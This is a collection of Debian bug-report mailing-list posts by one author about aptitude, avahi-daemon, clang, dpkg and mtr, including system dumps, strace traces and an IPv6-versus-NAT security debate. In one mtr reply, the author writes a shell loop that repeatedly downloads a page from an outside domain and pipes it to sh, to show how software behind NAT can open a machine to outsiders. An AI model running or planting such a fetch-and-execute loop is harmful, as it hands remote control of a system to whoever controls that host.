ii  libcwidget3   0.5.17-1
ii  libgcc1   1:4.9.1-4
ii  libncursesw5  5.9+20140712-2
ii  libsigc++-2.0-0c2a2.2.11-4
ii  libsqlite3-0  3.8.6-1
ii  libstdc++64.9.1-4
ii  libtinfo5 5.9+20140712-2
ii  libxapian22   1.2.18-1

Versions of packages aptitude recommends:
ii  aptitude-doc-en [aptitude-doc]  0.6.11-1
ii  libparse-debianchangelog-perl   1.2.0-1
ii  sensible-utils  0.0.9

Versions of packages aptitude suggests:
ii  apt-xapian-index  0.46
ii  debtags   1.12.1
pn  tasksel   

-- Configuration Files:
/etc/logrotate.d/aptitude changed [not included]

-- no debconf information

Bug#760608: aptitude: No format string for package architecture

[Rogier]

Package: aptitude
Version: 0.6.11-1
Severity: wishlist

Dear Maintainer,

With the advent of multi-arch systems, the architecture of a
package shown by aptitude is no longer implicitly known. Please
add a format string for a package's architecture.

Kind regards, and thanks for your effort maintaining this valuable
tool.

Rogier.

-- Package-specific info:
Terminal: xterm
$DISPLAY is set.
which aptitude: /usr/bin/aptitude

aptitude version information:
aptitude 0.6.11 compiled at Jun  9 2014 21:54:38
Compiler: g++ 4.8.3
Compiled against:
  apt version 4.12.0
  NCurses version 5.9
  libsigc++ version: 2.2.11
  Gtk+ support disabled.
  Qt support disabled.

Current library versions:
  NCurses version: ncurses 5.9.20140712
  cwidget version: 0.5.17
  Apt version: 4.12.0

aptitude linkage:
linux-gate.so.1 (0xf77d2000)
libapt-pkg.so.4.12 => /usr/lib/i386-linux-gnu/libapt-pkg.so.4.12 
(0xf7242000)
libncursesw.so.5 => /lib/i386-linux-gnu/libncursesw.so.5 
(0xf7207000)
libtinfo.so.5 => /lib/i386-linux-gnu/libtinfo.so.5 (0xf71e3000)
libsigc-2.0.so.0 => /usr/lib/i386-linux-gnu/libsigc-2.0.so.0 
(0xf71dd000)
libcwidget.so.3 => /usr/lib/i386-linux-gnu/libcwidget.so.3 
(0xf70d9000)
libsqlite3.so.0 => /usr/lib/i386-linux-gnu/libsqlite3.so.0 
(0xf7003000)
libboost_iostreams.so.1.55.0 => /usr/lib/i386-linux-
gnu/libboost_iostreams.so.1.55.0 (0xf6fec000)
libxapian.so.22 => /usr/lib/sse2/libxapian.so.22 (0xf6dec000)
libpthread.so.0 => /lib/i386-linux-gnu/i686/cmov/libpthread.so.0 
(0xf6dd)
libstdc++.so.6 => /usr/lib/i386-linux-gnu/libstdc++.so.6 
(0xf6cde000)
libm.so.6 => /lib/i386-linux-gnu/i686/cmov/libm.so.6 
(0xf6c98000)
libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xf6c7b000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf6acf000)
libutil.so.1 => /lib/i386-linux-gnu/i686/cmov/libutil.so.1 
(0xf6acb000)
libdl.so.2 => /lib/i386-linux-gnu/i686/cmov/libdl.so.2 
(0xf6ac6000)
libz.so.1 => /lib/i386-linux-gnu/libz.so.1 (0xf6aad000)
libbz2.so.1.0 => /lib/i386-linux-gnu/libbz2.so.1.0 (0xf6a9b000)
liblzma.so.5 => /lib/i386-linux-gnu/liblzma.so.5 (0xf6a73000)
librt.so.1 => /lib/i386-linux-gnu/i686/cmov/librt.so.1 
(0xf6a6a000)
libuuid.so.1 => /lib/i386-linux-gnu/libuuid.so.1 (0xf6a64000)
/lib/ld-linux.so.2 (0xf77d3000)

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.14-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages aptitude depends on:
ii  aptitude-common   0.6.11-1
ii  libapt-pkg4.121.0.7
ii  libboost-iostreams1.55.0  1.55.0+dfsg-2
ii  libc6 2.19-10
ii  libcwidget3   0.5.17-1
ii  libgcc1   1:4.9.1-4
ii  libncursesw5  5.9+20140712-2
ii  libsigc++-2.0-0c2a2.2.11-4
ii  libsqlite3-0  3.8.6-1
ii  libstdc++64.9.1-4
ii  libtinfo5 5.9+20140712-2
ii  libxapian22   1.2.18-1

Versions of packages aptitude recommends:
ii  aptitude-doc-en [aptitude-doc]  0.6.11-1
ii  libparse-debianchangelog-perl   1.2.0-1
ii  sensible-utils  0.0.9

Versions of packages aptitude suggests:
ii  apt-xapian-index  0.46
ii  debtags   1.12.1
pn  tasksel   

-- Configuration Files:
/etc/logrotate.d/aptitude changed [not included]

-- no debconf information

Bug#751559: avahi-daemon fills syslog with 'Received packet from invalid interface' messages

[Rogier]

Package: avahi-daemon
Version: 0.6.31-4
Severity: normal

Dear Maintainer,

Since a few months, avahi-daemon has started polluting my logs with large
numbers of the following messages:

Received packet from invalid interface

These messages are generated after avahi-daemon receives an mdns query
from another host on the network (see below).

The appearance of these messages coincides with the upgrade from
version 0.6.31-2 to 0.6.31-4.

(Unfortunately, I don't know if it just so happens that that host appeared
at the same time, or that it started doing those queries at that time, but
the most likely 'cause' of the messages seems the upgrade of avahi)

The messages disappear when I enable publishing, but I do not want to publish
information on all interfaces, and it does not seem possible to restrict
publishing to just one interface, while listening on all interfaces.

I did a system call trace, and I got the following:

10466 10:53:29 recvmsg(13, {msg_name(16)={sa_family=AF_INET, 
sin_port=htons(43401), sin_addr=inet_addr("192.168.2.6")}, 
msg_iov(1)=[{"\0\0\0\0\0\1\0\0\0\0\0\0\v_googlecast\4_tcp\5local\0\0\f\0\1", 
40}], msg_controllen=40, {cmsg_len=24, cmsg_level=SOL_IP, cmsg_type=, ...}, 
msg_flags=0}, 0) = 40
10466 10:53:29 time(NULL)   = 1402736009
10466 10:53:29 send(3, "<28>Jun 14 10:53:29 avahi-daemon[10466]: Received 
packet from invalid interface.", 80, MSG_NOSIGNAL) = 80

192.168.2.6 is just another host on the network. Apparently, it sends mdns 
requests:
(from tcpdump):

11:07:33.104480 IP 192.168.2.6.43401 > 224.0.0.251.mdns: 0 PTR (QM)? 
_googlecast._tcp.local. (40)
11:07:33.106384 IP 192.168.2.6.47182 > 224.0.0.251.mdns: 0 PTR (QM)? 
_googlecast._tcp.local. (40)

Kind regards,

Rogier.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.14-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages avahi-daemon depends on:
ii  adduser  3.113+nmu3
ii  bind9-host [host]1:9.9.5.dfsg-4
ii  dbus 1.8.4-1
ii  init-system-helpers  1.18
ii  libavahi-common3 0.6.31-4
ii  libavahi-core7   0.6.31-4
ii  libc62.19-1
ii  libcap2  1:2.22-1.2
ii  libdaemon0   0.14-6
ii  libdbus-1-3  1.8.4-1
ii  libexpat12.1.0-5
ii  lsb-base 4.1+Debian12

Versions of packages avahi-daemon recommends:
ii  libnss-mdns  0.10-6

Versions of packages avahi-daemon suggests:
pn  avahi-autoipd  

-- Configuration Files:
/etc/avahi/avahi-daemon.conf changed:
[server]
use-ipv4=yes
use-ipv6=yes
ratelimit-interval-usec=100
ratelimit-burst=1000
[wide-area]
enable-wide-area=yes
[publish]
disable-publishing=yes
disable-user-service-publishing=yes
[reflector]
[rlimits]
rlimit-core=0
rlimit-data=4194304
rlimit-fsize=0
rlimit-nofile=768
rlimit-stack=4194304
rlimit-nproc=3

/etc/default/avahi-daemon changed:
AVAHI_DAEMON_DETECT_LOCAL=0


-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#751030: clang-3.3: Clang should (indirectly?) depend on binutils

[Rogier]

Source: clang-3.3
Version: 1:3.3-16
Severity: normal

Dear Maintainer,

While installing clang on a relatively bare system, binutils is
not automaticaly installed as well. The result is that
the installation succeeds, but compilation of just a simple
program fails because the linker can't be found.

Kind regards,

Rogier.

-
Example output:

jessie:root ~ 7 # apt-get install clang
Reading package lists... Done
Building dependency tree   
Reading state information... Done
The following packages were automatically installed and are no longer required:
  linux-image-3.2.0-4-amd64 linux-image-amd64
Use 'apt-get autoremove' to remove them.
The following extra packages will be installed:
  binfmt-support clang-3.3 gcc-4.8-base gcc-4.9-base libasan0 libatomic1
  libc-dev-bin libc6-dev libclang-common-3.3-dev libclang1-3.3 libcloog-isl4
  libffi-dev libgcc-4.8-dev libgcc1 libgomp1 libisl10 libitm1 libjsoncpp0
  libllvm3.3 libobjc-4.8-dev libobjc4 libquadmath0 libstdc++-4.8-dev
  libstdc++6 linux-libc-dev llvm-3.3 llvm-3.3-dev llvm-3.3-runtime
  manpages-dev
Suggested packages:
  glibc-doc libstdc++-4.8-doc llvm-3.3-doc
Recommended packages:
  gcc c-compiler
The following NEW packages will be installed:
  binfmt-support clang clang-3.3 libasan0 libatomic1 libc-dev-bin libc6-dev
  libclang-common-3.3-dev libclang1-3.3 libcloog-isl4 libffi-dev
  libgcc-4.8-dev libgomp1 libisl10 libitm1 libjsoncpp0 libllvm3.3
  libobjc-4.8-dev libobjc4 libquadmath0 libstdc++-4.8-dev linux-libc-dev
  llvm-3.3 llvm-3.3-dev llvm-3.3-runtime manpages-dev
The following packages will be upgraded:
  gcc-4.8-base gcc-4.9-base libgcc1 libstdc++6
4 upgraded, 26 newly installed, 0 to remove and 29 not upgraded.
Need to get 0 B/40.1 MB of archives.
After this operation, 172 MB of additional disk space will be used.
Do you want to continue? [Y/n] 

[package installation log deleted]

jessie:root ~ 8 # echo "int main;" | clang -v -o /tmp/null -x c /dev/stdin
Debian clang version 3.3-16 (branches/release_33) (based on LLVM 3.3)
Target: i386-pc-linux-gnu
Thread model: posix
 "/usr/bin/clang" -cc1 -triple i386-pc-linux-gnu -emit-obj -mrelax-all 
-disable-free -disable-llvm-verifier -main-file-name stdin -mrelocation-model 
static -mdisable-fp-elim -fmath-errno -masm-verbose -mconstructor-aliases 
-fuse-init-array -target-cpu pentium4 -target-linker-version 2.24 -v 
-resource-dir /usr/bin/../lib/clang/3.3 -internal-isystem /usr/local/include 
-internal-isystem /usr/bin/../lib/clang/3.3/include -internal-isystem 
/usr/include/clang/3.3/include/ -internal-externc-isystem 
/usr/include/i386-linux-gnu -internal-externc-isystem 
/usr/include/i486-linux-gnu -internal-externc-isystem /usr/include 
-fdebug-compilation-dir /root -ferror-limit 19 -fmessage-length 180 
-mstackrealign -fobjc-runtime=gcc -fobjc-default-synthesize-properties 
-fdiagnostics-show-option -fcolor-diagnostics -backend-option -vectorize-loops 
-o /tmp/stdin-Stoljv.o -x c /dev/stdin
clang -cc1 version 3.3 based upon LLVM 3.3 default target i386-pc-linux-gnu
ignoring nonexistent directory "/usr/bin/../lib/clang/3.3/include"
ignoring nonexistent directory "/usr/include/i486-linux-gnu"
#include "..." search starts here:
#include <...> search starts here:
 /usr/local/include
 /usr/include/clang/3.3/include
 /usr/include/i386-linux-gnu
 /usr/include
End of search list.
 "ld" --hash-style=both --build-id --eh-frame-hdr -m elf_i386 -dynamic-linker 
/lib/ld-linux.so.2 -o /tmp/null 
/usr/lib/gcc/i486-linux-gnu/4.8/../../../i386-linux-gnu/crt1.o 
/usr/lib/gcc/i486-linux-gnu/4.8/../../../i386-linux-gnu/crti.o 
/usr/lib/gcc/i486-linux-gnu/4.8/crtbegin.o -L/usr/lib/gcc/i486-linux-gnu/4.8 
-L/usr/lib/gcc/i486-linux-gnu/4.8/../../../i386-linux-gnu -L/lib/i386-linux-gnu 
-L/usr/lib/i386-linux-gnu -L/usr/lib/gcc/i486-linux-gnu/4.8/../../.. -L/lib 
-L/usr/lib /tmp/stdin-Stoljv.o -lgcc --as-needed -lgcc_s --no-as-needed -lc 
-lgcc --as-needed -lgcc_s --no-as-needed 
/usr/lib/gcc/i486-linux-gnu/4.8/crtend.o 
/usr/lib/gcc/i486-linux-gnu/4.8/../../../i386-linux-gnu/crtn.o
clang: error: unable to execute command: No such file or directory
clang: error: linker command failed due to signal (use -v to see invocation)


-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.13-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#731799: Do not work with IPv4 only anymore

[Rogier Wolff]

On Mon, Apr 28, 2014 at 02:00:47PM +0200, Jeroen Massar wrote:
> It is only a user-error from the perspective of disabling a current
> protocol. If you disable IPv4 your host won't even boot, even if you
> want it to be IPv6 only.
> 
> Using IPv6 support of the networking API (getaddrinfo() and friends) is
> a standard way of porting applications to support both IPv4 and IPv6.

mtr doesn't use "getaddrinfo". For a reason. Not a good reason, but
for a reason.

The reason is that it might have many address lookup requests active
at the same time. And it needs to continue to send probe packets and
process the replies. It cannot hang in the getaddrinfo call for five
seconds.

The IMHO correct way to handle this situation would have been to fork
off a process that does the getaddrinfo call, and reports back to the
main process. Alas, that wasn't the way things were implemented back
in theold days, so now we're stuck in mtr with a separate
name-resolving code-block which is buggy and difficult to maintain. 

Roger. 

-- 
+-- Rogier Wolff -- www.harddisk-recovery.nl -- 0800 220 20 20 --
- Datarecovery Services Nederland B.V. Delft. KVK: 30160549 -
| Files foetsie, bestanden kwijt, alle data weg?!
| Blijf kalm en neem contact op met Harddisk-recovery.nl!


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#731799: Do not work with IPv4 only anymore

[Rogier Wolff]

On Mon, Apr 28, 2014 at 12:02:50PM +0200, Jeroen Massar wrote:
> > You're saying that masquerading makes my machine wide open?
> 
> Bingo. It is no more "secure" than putting it directly on the network.
> See amongst others http://samy.pl/pwnat/

If I run software on a server inside the NAT it can give away "access"
to resources behind the NAT.

  #!/bin/sh
  while true ; do
lynx -dump http://www.somedomain.com/lkjasdfkj | sh 
sleep 60
  done

This gives access to my machine to anyone who can register
"somedomain.com" and install something on the link.

The referenced program and technical paper state that for peer-to-peer
networks this is important. IF peers A and B are on the internet and X
and Y are NATed, then A communicating to B means just set up the
connection. If X wants to communicate with A that's simple as
well. The NAT router will setup the connection once X initiates the
connection. Similarly if B wants to communicate to X, B just has to
trigger (using the protocol somehow) that X starts an outgoing
connection to B. But X communicating with Y becomes problematic. They
have solved this by having the peer-to-peer program silently open up a
connection back into the NATed area.

> Your problem, as you are causing problems for yourself.
> 
> That is what this ticket is about: you caused a problem, as the tool
> expects there to be IPv6 support, even if it won't use it.

There is a bug in MTR that it will try to open IPV6 sockets for name
server communication even when explcitly told to do IPV4 only.

I disagree with closing the bug as "user-error". 

Roger. 

-- 
+-- Rogier Wolff -- www.harddisk-recovery.nl -- 0800 220 20 20 --
- Datarecovery Services Nederland B.V. Delft. KVK: 30160549 -
| Files foetsie, bestanden kwijt, alle data weg?!
| Blijf kalm en neem contact op met Harddisk-recovery.nl!


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#731799: Do not work with IPv4 only anymore

[Rogier Wolff]

On Mon, Apr 28, 2014 at 09:43:40AM +0200, Jeroen Massar wrote:
> Note that there are a variety of forums that are a much better place
> than a Debian mtr package bug report for these kind of questions.

I'm not asking for help. I'm trying to communicate that I think that
disabling IPV6 is a valid configuration. 

I fully agree with the decisions "upstream" in debian to enable
IPV6. But you should respect those that may have reasons to disable
it.

> On 2014-04-28 09:08, Rogier Wolff wrote:
> > I personally have a good understanding of IPV4 and how I've secured my
> > network against attacks from outside. I know what I'm doing. This
> > means that I make decisions about what to protect against and what I
> > won't protect against.
> > 
> > I have decided that I will have "fence security": I protect the
> > outside, I do not put any effort into protecting my machines from an
> > attacker who is able to access my network. (either by physically
> > plugging in or by getting control over a machine on my network).
> 
> If your assumption is that, then you are 'safe' with the default
> settings provided by Debian.
> 
> Unless somebody sets up a router advertisement to announce a prefix (for
> which they need local access to the network), your host will only have a
> link-local (fe80::/10) address, which means the adversary has local
> access to your network.

I could look this up in under 60 seconds. But I haven't. 

So when my machine asks for an IPV6 address on the link it gets one.
If I'd look it up I'd see it was a link-local address. I'm guessing
similar to the 192.168.x.y that I'm using for IPV4 that they won't
work outside my home network. 

So how do I know that when I boot tomorrow my machine won't get a 
routable IPV6 address? I don't. 

> > Now this fancy IPV6 comes along. I've been pusing my hosting provider
> > for an IPV6 address so that I can gain some experience.
> 
> Chose with your money. If they do not get the picture in 2014, they will
> never get it.

I don't have extra money and time to spare to "push" issues like
this. If they decide for their clients that "without IPV6" I will be
able to manage for now, I'm not going to research or doubt that
decisison. I respect their decision. Life is short. There are a lot of
things in this world that I don't have the time to learn. There are a
lot of things /wrong/ in this world that I don't have the time to
worry about or change. I'm chosing my battles. I'm not into poltics,
I'm into technical things. And even then I choose my battles.

The "we need to switch to IPV6 NOW" crowd lost credibility with me
when they announced "we'll have serious trouble in XXX time when we'll
run out of IPV4 addresses". This was announced three years in a row,
with XXX always less than 12 months. I haven't heard about the IPV4
addresses running out for about a year now. Is the new announcement
going out soon, or did I miss one?

> > The little I know about IPV6 is that there won't be a need to
> > "masquerade" like we do now. Well, that masquerading is part of my
> > security strategy.
> 
> The part that 'masquerading' adds in your 'security strategy' is
> connection tracking. Not the actual act of translating addresses; they
> actually make your box wide open.

The masquerading part helps my security: My machine thinks its address
is 192.168.x.y, and besides people on or very close to my network,
nobody will be able to get packets with that addres to travel to my
machine.

What is "they" referring to in "they actually make..."? 

You're saying that masquerading makes my machine wide open?

Are you following the microsoft tactic that OUTgoing connections need
to be firewalled? Sure. On my phone I install apps that should not be
connecting to the internet on a whim. But on my PC I'm more afraid of
the 4 billion internet-users out there, one of which might try to
connect to a service on my machine. At the moment that "try to
connect" they are now blocked because I don't have a routable internet
address. 

> > I know that my machines, when running a recent distribution, obtain an
> > IPV6 address. If my home router suddenly started giving my home
> > machines routable IPV6 addresses that would break my "fence".
> 
> If you do not trust machines connection to your local network then you
> should fix that hole in the fence.

My provider will, at some time between 2010 and 2020 decide to enable
IPV6 to their clients. I don't want to have to be there at the moment
they decide to enable it. 

> > So... best thing to do is to make 

Bug#731799: Do not work with IPv4 only anymore

[Rogier Wolff]

On Sun, Apr 27, 2014 at 04:29:18PM +0200, Jeroen Massar wrote:
> 
> This seems completely unrelated to mtr or let alone Debian...
> 
> If your tunnel is "broken", then report that to SixXS, there is a nice
> ticket system at https://www.sixxs.net/tickets/. Do provide actual
> details instead of making factless statements in the Debian bug system.
> 
> I am one of the users of the chzrh02 PoP and is working like a charm.
> And the rare of chance that it does not, it typically gets reported by
> multiple users and also resolved very quickly. Init7 definitely does care.
> 
> If you thus have issues, it definitely is something you have to look into.

I personally have a good understanding of IPV4 and how I've secured my
network against attacks from outside. I know what I'm doing. This
means that I make decisions about what to protect against and what I
won't protect against.

I have decided that I will have "fence security": I protect the
outside, I do not put any effort into protecting my machines from an
attacker who is able to access my network. (either by physically
plugging in or by getting control over a machine on my network).

Now this fancy IPV6 comes along. I've been pusing my hosting provider
for an IPV6 address so that I can gain some experience. I'm not
getting it. My provider at work doesn't give me IPV6 access. My
provider at home doesn't. I could tunnel apparently, but although we
hear that IPV4 addresses are running out any moment now time and time
again, nobody around me seems to be hurrying

The little I know about IPV6 is that there won't be a need to
"masquerade" like we do now. Well, that masquerading is part of my
security strategy. It is for a lot of people. Their machines are not
on a globally routable IP address range, and their border router just
like mine will masquerade for outgoing addresses and automatically
prevent incoming connections, unless explicitly enabled (port
forwarding).

I know that my machines, when running a recent distribution, obtain an
IPV6 address. If my home router suddenly started giving my home
machines routable IPV6 addresses that would break my "fence". You'd
suddenly be able to connect to my home machine's http port, which for
example has my paragliding logbook database available to anybody who
can connect. No password no nothing. Just the fence.

I don't have control over the modem. The modem might be upgradeable by
the provider. Or the modem may already be IPV6 enabled, but for now it
doesn't get a routable IPV6 address from the provider. When they change
that, all of a sudden the IPV6 addresses on my network may become
routable.

So... best thing to do is to make sure my machine will never talk
IPV6. How about I compile a kernel without IPV6? Or maybe just boot
with ipv6disable=1?

Roger. 

-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#725222: mtr invoked by command line does nothing

[Rogier Wolff]

On Thu, Oct 03, 2013 at 06:07:42AM -0300, Rogério Brito wrote:
> It is a common method, indeed. I don't know how/why mtr uses a
> pseudo-random generator, though, without having read the code (will
> read that later, if I still have sufficient interest).

mtr sends out (crafted, non-regular) packets and looks at what comes
back as error messages. At some point in the past, close to the start
of the development of IP (i.e. 1980ies), someone made a mistake that
makes it difficult to determine WHAT packet the returned error
corresponds to. So we have to trick things a bit to make sure that we
associate the response with the correct probe. If we use a
deterministic (e.g. next = cur+1) method, two mtr's running on the
same machine starting out with similar "seeds" (the first "cur") will
continue to recieve eachother's responses. By using a pseudorandom
sequence they might occasionally match a response to the other mtr to
something they sent themselves. But that is very rare. (I think we
have about 15 or 16 bits, so 20 (average # of hops)/3 might be a
good guess).


> > If that works, it's a bug that has been fixed in the main codebase:
> > either work around it by supplying a hostname, or upgrade if you want.
> 
> Yes, passing an argument works fine. Perhaps we need the newest version of
> mtr packaged in Debian...

I haven't released the "next" version yet. I think Robert is up-to-date
with the latest release. This is first on my platter... 

(next = 0.86, I should have a script that just makes a release, but
that script isn't perfect yet, and needs some hours of debugging which
I can only do when I actually have a release to do AND have the time
to debug the script)

> > (I personally think the default of "localhost" is untidy: cleanlyness
> > would require mtr to say: "no host to trace provided. Bye!" (or just
> > exit wihtout doing anything as it does in your case). However that
> > means that starting mtr from a menu in a gui without arguments would
> > make it close immediately.)
 
> I don't really think that it is *that* unclean of a solution. OTOH,
> just quitting without any message violates the spirit of Unix of
> being noisy when errors occur, while being silent when everything is
> fine.

It isn't an error: You specified nothing to do, so I do nothing.

But agreed, rm without arguments also considers this an error. On the
other hand, in C: 

   for (i=0;i If mtr issued a message that I missed an argument, then I would not have
> sent this bugreport in the first place. :)

Agreed. But the "default is localhost" is a very old feature. It was
intended to keep on working. Some feature (multiple hosts) was added
that broke this. noone has wanted to change the old default behaviour.

> Oh, I have a feature request: can you put a button to toggle the name
> resolution in the GUI. :) This way, if name resolution is getting in the
> way, then we can turn it off (or on) very easily.

Yes. that'd be nice. 

Could you paste that into a feature request at 
   https://launchpad.net/mtr/+bugs

Roger. 

-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#725222: mtr invoked by command line does nothing

[Rogier Wolff]

On Thu, Oct 03, 2013 at 02:03:08AM -0300, Rogério Brito wrote:
> I'm attaching (as compressed files) the output of running both
> `sudo strace mtr` and `sudo strace mtr --curses`.

That works. 

strace shows: 

// from mtr.c: 
  if ( ( net_preopen_result = net_preopen () ) ) {
fprintf( stderr, "mtr: unable to get raw sockets.\n" );
exit( EXIT_FAILURE );
  }

ends with: 
  fcntl64(7, F_GETFD) = 0
  fcntl64(7, F_SETFD, FD_CLOEXEC) = 0   


then mtr.c does: 

  /*  Now drop to user permissions  */
  if (setgid(getgid()) || setuid(getuid())) {
fprintf (stderr, "mtr: Unable to drop permissions.\n");
exit(1);
  }

  /*  Double check, just in case  */
  if ((geteuid() != getuid()) || (getegid() != getgid())) {
fprintf (stderr, "mtr: Unable to drop permissions.\n");
exit(1);
  }

and it shows in the strace:
getgid32()  = 0
setgid32(0) = 0
getuid32()  = 0
setuid32(0) = 0
geteuid32() = 0
getuid32()  = 0
getegid32() = 0
getgid32()  = 0

which works as designed 

And then the code does: 

  /* reset the random seed */
  srand (getpid());

time(NULL)  = 1380776131

which should show up as a call to getpid, and not to "time". 
   srand (time (NULL)); 

is a very common call to initialize the random generator, but arguably
the getpid is better for mtr than the time variant.

I haven't touched this code in ages. (I had to think really hard to 
reproduce the choice for "getpid" as opposed to "time"). 

The thing is, I'd say that the getpid change is MUCH older than the
IPV6 support that you DO have So what codebase are you running?

OK. Cancel that. The getpid is apparently cached so won't show up in 
strace. 

much later: 

  time_t now = time(NULL);

happens, which is the time call. 

After that mtr should start adding/testing hosts etc. There could have
been a bug in there (which has been fixed in the current version!) 
that would no longer start mtr with the default of "localhost" if you
don't supply a hostname. So: 

have you tried:

  mtr www.google.com

?

If that works, it's a bug that has been fixed in the main codebase:
either work around it by supplying a hostname, or upgrade if you want.

(I personally think the default of "localhost" is untidy: cleanlyness
would require mtr to say: "no host to trace provided. Bye!" (or just
exit wihtout doing anything as it does in your case). However that
means that starting mtr from a menu in a gui without arguments would
make it close immediately.)

Roger. 

-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#721792: mtr fails without IPv6 socket

[Rogier Wolff]

Hi James, 

Yes. This bug is "fix committed" in the git repository. But I haven't
released the next version yet.

You can do 
  apt-get build-deps mtr
and then clone the git repository and compile:
  git clone https://github.com/traviscross/mtr.git
  cd mtr
  sh bootstrap.sh ; ./configure ; make
and if all goes well
  sudo make install

That should get you the upgraded version without this bug. 

Roger. 

On Wed, Sep 04, 2013 at 12:17:22AM -0600, James Blanford wrote:
> Package: mtr
> Version: 0.85-1
> Severity: normal
> 
> Dear Maintainer,
> 
> On a system without IPv6 support, mtr fails on invocation, such as,
> "mtr localhost" or "mtr example.com" issuing the error,
> "Unable to allocate IPv6 socket for nameserver communication: Address
> family not supported by protocol"
> 
> I would expect mtr to try IPv4, if IPv6 is not available.
> Partial functioning can be obtained if resolution of hostnames is not 
> requested by adding the -n command line switch.
> 
> 
> 
> -- System Information:
> Debian Release: jessie/sid
>   APT prefers testing
>   APT policy: (500, 'testing')
> Architecture: amd64 (x86_64)
> Foreign Architectures: i386
> 
> Kernel: Linux 3.10.10 (SMP w/2 CPU cores; PREEMPT)
> Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1)
> Shell: /bin/sh linked to /bin/dash
> 
> Versions of packages mtr depends on:
> ii  libatk1.0-0  2.8.0-2
> ii  libc62.17-92
> ii  libcairo21.12.14-4
> ii  libfontconfig1   2.10.2-2
> ii  libfreetype6 2.4.9-1.1
> ii  libgdk-pixbuf2.0-0   2.28.2-1
> ii  libglib2.0-0 2.36.4-1
> ii  libgtk2.0-0  2.24.20-1
> ii  libncurses5  5.9+20130608-1
> ii  libpango-1.0-0   1.32.5-5+b1
> ii  libpangocairo-1.0-0  1.32.5-5+b1
> ii  libpangoft2-1.0-01.32.5-5+b1
> ii  libtinfo55.9+20130608-1
> 
> mtr recommends no packages.
> 
> mtr suggests no packages.
> 
> -- no debconf information
> 

-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#706816: mtr: new upstream version 0.84 available

[Rogier Wolff]

You mean you want to see a tarball of 0.84 on 
ftp.bitwizard.nl or do you want oseome else to package the
0.84 from
ftp.bitwizard\.nl?

Roge
On Sun, May 05, 2013 at 11:04:56AM +0200, Johann AMSELLEM wrote:
> Package: mtr
> Severity: wishlist
> 
> Dear Maintainer,
> 
> 
> MTR 0.84 is available, please consider packaging it.
> ftp://ftp.bitwizard.nl/mtr/
> 
> 
> Cheers,

-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#700609: dpkg: /var/lib/dpkg/arch is a configuration file, and should be in /etc/dpkg

[Rogier]

Package: dpkg
Version: 1.16.9
Justification: Policy 10.7.2
Severity: serious

Dear Maintainer,

To me, it seems that the file 'arch', which is currently in /var/lib/dpkg,
is a configuration file, which means it should be in /etc/dpkg.

Kind reagards,

Rogier.


-- System Information:
